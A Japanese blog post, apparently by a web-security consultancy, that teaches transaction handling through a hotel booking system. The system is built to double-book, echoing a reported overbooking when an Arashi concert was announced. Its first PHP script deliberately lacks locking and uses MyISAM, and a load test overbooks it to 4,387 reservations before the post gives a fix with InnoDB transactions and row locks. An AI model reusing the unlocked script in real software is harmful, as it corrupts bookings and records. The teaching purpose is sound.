このように、初めてPHPを動かす読者を想定して細やかな配慮がなされています。

動作環境はWindows上のXAMPPあるいはMac上のMAMPを用い、エディタ(さくらエディタ、CotEditor)も含めてインストールから設定まで詳しく解説しています。

実は、この種の初心者向けPHP入門書の最近のトレンドは、ファイルのアップロードやメール送信、認証など盛りだくさんの機能が入っているものですが、同書はそこまで欲張らずに基本的なところにとどめています。これは正解だと思います。とくに、ファイルアップロードや認証はセキュリティ要件が厳しいので、中級者向けのテキストで扱うのがよいと思います。

本書で基礎的なPHPの機能を学習した後には、同じく入門書ではありますが、「10日でおぼえるPHP入門教室 第4版」に進むのがよいと考えます。「10日で覚える~」の方は、入門教室とある割にはやや高度で(Amazonレビューからも分かります)、機能的に充実していて、セキュリティの配慮も十分だからです。
その後は、パーフェクトPHPPHP逆引きレシピ 第2版でPHPの理解を深めていくという学習シナリオが考えられます。そうそう、できれば拙著もご活用下さいw


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年5月7日木曜日

嵐のコンサートがあるとダブルブッキングしてしまうホテル予約システムを作ってみた

今年の5月1日に、仙台市内のホテルで多重予約のトラブルが発生したと報道されています。
部屋数203室の仙台市のビジネスホテルで、9月18~23日の宿泊予約を数千件受け付けるトラブルがあった。アイドルグループ「嵐」のライブが宮城県内で開催される期間だった。インターネットでの申し込みが殺到し、システム障害が起きたとみられるという。

 トラブルがあったのは、仙台市泉区の「ホテルルートイン仙台泉インター」。ホテルなどによると、9月19、20、22、23日に宮城スタジアム(宮城県利府町)で嵐がライブを開くことが明らかになった後の5月1日午前5時ごろ、ネットを使った予約申し込みが殺到していることに気づいたという。

203室のホテルなのに「予約」数千件 嵐公演で殺到か:朝日新聞デジタル より引用
5月1日の朝に何があったのか調べてみると、この日の早朝にテレビや新聞でコンサートの情報が流れたようですね。
お嬢様方~おはようございます!
今朝の4時~LINEがどえらい騒ぎで
結局ねてません(笑)

皆さんお知らせありがとうこざいます♥
東北でコンサートみんな参加できたらいいですね♪

嵐色の小部屋 嵐さん仙台でコンサート決定【追記】 より引用
つまり、こういうことのようです。
  • 今年9月に仙台で嵐のコンサートが実施されると、5月1日早朝にテレビなどが報道
  • 嵐ファンの間でLINE等で情報が展開される
  • 仙台近隣のホテル予約に殺到
  • 当該ホテルがシステム障害を起こし、多重予約に至る
では、このような多重予約がなぜ発生してしまったかですが、その原因は公表されていないので憶測するしかありません。「ありそうな可能性」としては、排他制御が十分でなかったのではないかという仮説が成り立ちます…ということで、表題のように、「嵐のコンサートがあるとダブルブッキングしてしまう予約システム」を作ってみました。

予約システムの概要

まずはテーブル定義です。rooms_availableは宿泊日と客室タイプ毎の空き部屋数、transaction_logは予約の履歴を保持しています。
CREATE TABLE `rooms_available` (
  `id` int(11) NOT NULL AUTO_INCREMENT,  /* id */
  `date` date NOT NULL,                  /* 宿泊日 */
  `room_type` int(11) NOT NULL,          /* 客室タイプ */
  `available` int(11) NOT NULL,          /* 空き室数 */
  `reserved` int(11) NOT NULL,           /* 予約済み室数 */
  PRIMARY KEY (`id`),
  UNIQUE KEY `date_type` (`date`,`room_type`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;

CREATE TABLE `transaction_log` (
  `id` int(11) NOT NULL AUTO_INCREMENT,  /* id */
  `date` date NOT NULL,                  /* 宿泊日 */
  `room_type` int(11) NOT NULL,          /* 客室タイプ */
  `customer` int(11) NOT NULL,           /* 顧客番号 */
  `rooms` int(11) NOT NULL,              /* 予約室数 */
  PRIMARY KEY (`id`),
  UNIQUE KEY `date_room_cust` (`date`,`room_type`,`customer`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;
続いて、客室予約のスクリプトです。宿泊日と顧客番号(整数)を指定して、予約を申し込むものです。処理の性質上POSTリクエストにすべきものですが、テストの都合でGETにしています。
<?php
  $date = $_GET['date'];          // 宿泊日
  $room_type = 1;                 // 客室タイプは1固定に
  $customer = $_GET['customer'];  // 顧客番号

  try {
    $dbh = new PDO("mysql:host=localhost;dbname=db;charset=utf8", "dbuser", "password");
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 当該日の空室を求める
    $sth = $dbh->prepare("SELECT available FROM rooms_available WHERE date=? AND room_type=?");
    $sth->bindValue(1, $date, PDO::PARAM_STR);
    $sth->bindValue(2, $room_type, PDO::PARAM_INT);
    $sth->execute();
    $available = 0;
    if ($row = $sth->fetch()) {
       $available = (int)$row['available'];
    }

    if ($available > 0) { // 空室ありの場合
      // 取引ログに記録
      $sth = $dbh->prepare("INSERT INTO transaction_log(date, room_type, customer, rooms) VALUES(?, ?, ?, 1)");
      $sth->bindValue(1, $date, PDO::PARAM_STR);
      $sth->bindValue(2, $room_type, PDO::PARAM_INT);
      $sth->bindValue(3, $customer, PDO::PARAM_STR);
      $sth->execute();

      // 空室情報を更新
      $available--;  // 空室数を1減じてDBに書き戻す。同時に予約数を1増やす
      $sth = $dbh->prepare("UPDATE rooms_available SET available=?, reserved=reserved+1 WHERE date=? AND room_type=?");
      $sth->bindValue(1, $available, PDO::PARAM_INT);
      $sth->bindValue(2, $date, PDO::PARAM_STR);
      $sth->bindValue(3, $room_type, PDO::PARAM_INT);
      $sth->execute();

      echo "ご予約を承りました";
    } else { // 満室の場合
      header("HTTP/1.1 400 Bad Request");  // 監視の都合でステータス400とする
      echo "恐れ入りますがただいま満室でございます";
    }
  } catch (PDOException $e) {
    header("HTTP/1.1 500 Internal Server Error");  // 監視の都合でステータス500とする
    error_log($e->getMessage());  // エラー詳細はログに出力
    echo 'ただいまアクセスが集中しております。しばらくたってからアクセスしてください';
  }
処理の大まかな流れは下記の通りです。
  • 宿泊日の空室数を取得($available)
  • 空室数が0より大きければ以下を行い、0の場合は満室と表示して終了
    • 宿泊成立として取引ログに宿泊内容を書き込む
    • 空室数を 1 減らし、予約済み室数を 1 増やす

テスト条件

当該のホテルは203室ということなので、条件を簡単にするために203室が全て同じタイプであり、この事故の前には予約は 0 だったと仮定します。rooms_availableテーブルの状態は下記のとおりです。
mysql> SELECT * FROM rooms_available;
+----+------------+-----------+-----------+----------+
| id | date       | room_type | available | reserved |
+----+------------+-----------+-----------+----------+
|  1 | 2015-09-18 |         1 |       203 |        0 |
|  2 | 2015-09-19 |         1 |       203 |        0 |
|  3 | 2015-09-20 |         1 |       203 |        0 |
|  4 | 2015-09-21 |         1 |       203 |        0 |
|  5 | 2015-09-22 |         1 |       203 |        0 |
|  6 | 2015-09-23 |         1 |       203 |        0 |
+----+------------+-----------+-----------+----------+
この状態で負荷テストツール siege を用いて、同時接続 200 で連続的に予約を行い、嵐ファンの予約の様子をシミュレーションしました。siegeを用いた理由は、リクエスト毎にパラメータをファイル指定で変化させやすいからです。

結果

負荷テストの模様を映像で紹介します。画面上半分がsiegeを実行している様子。下半分は宿泊日毎の残室と予約済室数のモニタです。



負荷テスト後の各テーブルの状態は下記の通りで、合計 1,218件(203×6)の予約しか受け付けられないはずのところ、約4,400件の予約が成立しました。
mysql> SELECT * FROM rooms_available;
+----+------------+-----------+-----------+----------+
| id | date       | room_type | available | reserved |
+----+------------+-----------+-----------+----------+
|  1 | 2015-09-18 |         1 |         0 |      719 | ← 各日とも700件超の予約が入っている
|  2 | 2015-09-19 |         1 |         0 |      766 |
|  3 | 2015-09-20 |         1 |         0 |      712 |
|  4 | 2015-09-21 |         1 |         0 |      735 |
|  5 | 2015-09-22 |         1 |         0 |      740 |
|  6 | 2015-09-23 |         1 |         0 |      715 |
+----+------------+-----------+-----------+----------+

mysql> SELECT SUM(reserved) FROM rooms_available;
+---------------+
| SUM(reserved) |
+---------------+
|          4387 | ← 延べ1,218室のはずが、予約総室数は 4,387に
+---------------+

mysql> SELECT COUNT(*) FROM transaction_log;
+----------+
| COUNT(*) |
+----------+
|     4387 | ← 取引ログの総数も 4,387 件に
+----------+

多重予約の原因

多重予約が発生してしまう原因は、排他制御の不備にあります。以下は、リクエストAとリクエストBが同日の宿泊予約をほぼ同時に要求している場合の模式図です。


上図のように、空室数を同時に(並行して)求めて、それぞれ独自に空室判定をしているところに問題があります。同じ日付の空室については、1つのスレッドのみが判定をしなければ多重予約が起きる可能性があります。つまり、空室数を求めてから、空室数をアップデートするまでは排他的に処理を行う必要があります。このような箇所はクリティカルセクションと呼ばれます。

対策

上記現象の対策としては排他制御をきちんとするということになりますが、MyISAMはトランザクションに対応していないので、対策方針としては以下の二案が考えられます。
  • MyISAMのままテーブルロックを使用する
  • ストレージエンジンをInnoDBに変更して、トランザクションと行ロックを使用する
どちらでも対策は可能ですが、予約システムは更新処理が多いという特性から、InnoDBとトランザクションを用いるほうが一般的でしょう。

ストレージエンジンをInnoDBに変更

トランザクション処理を利用するためには、ストレージエンジンとしてMyISAMではだめで、InnoDBを用いる必要があります。このため、CREATE TABLE文のENGINE=MyISAMとなっている2箇所をENGINE=InnoDBに変更します。

トランザクションの使用と行ロック

次に、トランザクションの使用と行ロックを指示します。PDO+MySQLの組み合わせの場合、デフォルトではSQLの呼び出しのたびにトランザクションを開始して自動的にコミットされます(オートコミット)。これでは排他制御ができないので、beginTransaction()メソッドで明示的にトランザクションを開始して、commit()メソッドでコミットします。また、SELECT文に「FOR UPDATE」を指定することで、選択された行に対して行ロックを行います。予約ができなかった場合や例外を捕捉した場合は、ロールバックにより処理を取り消します。
行ロックはコミットあるいはロールバックにより解除されます。
  $dbh = new PDO("mysql:host=localhost;dbname=db;charset=utf8", "dbuser", "password");
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $dbh->beginTransaction();  // トランザクションの開始

  $sth = $dbh->prepare("SELECT available FROM rooms_available WHERE date=? AND room_type=? FOR UPDATE"); // 行ロック
  // 中略

    $dbh->commit(); // コミット
    echo "ご予約を承りました";
  } else {
    header("HTTP/1.1 400 Bad Request");  // 監視の都合でステータス400とする
    $dbh->rollBack();  // ロールバック
    echo "恐れ入りますがただいま満室でございます";
  }
} catch (PDOException $e) {
  header("HTTP/1.1 500 Internal Server Error");
  $dbh->rollBack();  // ロールバック
  error_log($e->getMessage());
  echo 'ただいまアクセスが集中しております。しばらくたってからアクセスしてください';
}
改修後の実行結果は以下の通り、各日の予約数は203となり、ダブルブッキングは生じなくなりました。
mysql> SELECT * FROM rooms_available;
+----+------------+-----------+-----------+----------+
| id | date       | room_type | available | reserved |
+----+------------+-----------+-----------+----------+
|  1 | 2015-09-18 |         1 |         0 |      203 |
|  2 | 2015-09-19 |         1 |         0 |      203 |
|  3 | 2015-09-20 |         1 |         0 |      203 |
|  4 | 2015-09-21 |         1 |         0 |      203 |
|  5 | 2015-09-22 |         1 |         0 |      203 |
|  6 | 2015-09-23 |         1 |         0 |      203 |
+----+------------+-----------+-----------+----------+
この際の処理の流れは以下のように並行ではなく、排他的な処理になり、一貫性は維持されます。


PHP入門書での対応

PHP入門書ないし中級レベルの解説書では、通常トランザクション処理や排他制御の解説はありません。
パーフェクトPHPWebアプリケーション構築入門(第2版)には、トランザクションの簡単な説明がありますが、具体例などは説明されていないようです。
改訂版 今すぐ導入!PHP×PostgreSQLで作る最強Webシステムにはトランザクションの詳しい説明がありますが、これは著者の石井達夫氏がPosgreSQLの専門家なので当然かもしれません。

まとめ

嵐のコンサート情報が引き起こしたホテル多重予約問題を題材として、トランザクションと排他制御の重要性について説明しました。
当該の事故の原因はおそらくもっと複雑なものであろうと予想しますが、ここで説明したレベルの単純な排他制御であってもPHPの入門書等では解説されていないので、初めて知ったという読者も多いのではないでしょうか。
ホテル予約のダブルブッキングがセキュリティ上の問題かといえば、広義に捉えればセキュリティ上の問題と言えると思いますが、排他制御不備が個人情報漏洩等につながる場合もあり、セキュリティに直結する場合もあります。このため、拙著4.15節では、「共有資源に関する問題」として(SQLの問題ではありませんが)排他制御の重要性について説明しています。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


フォロワー

ブログ アーカイブ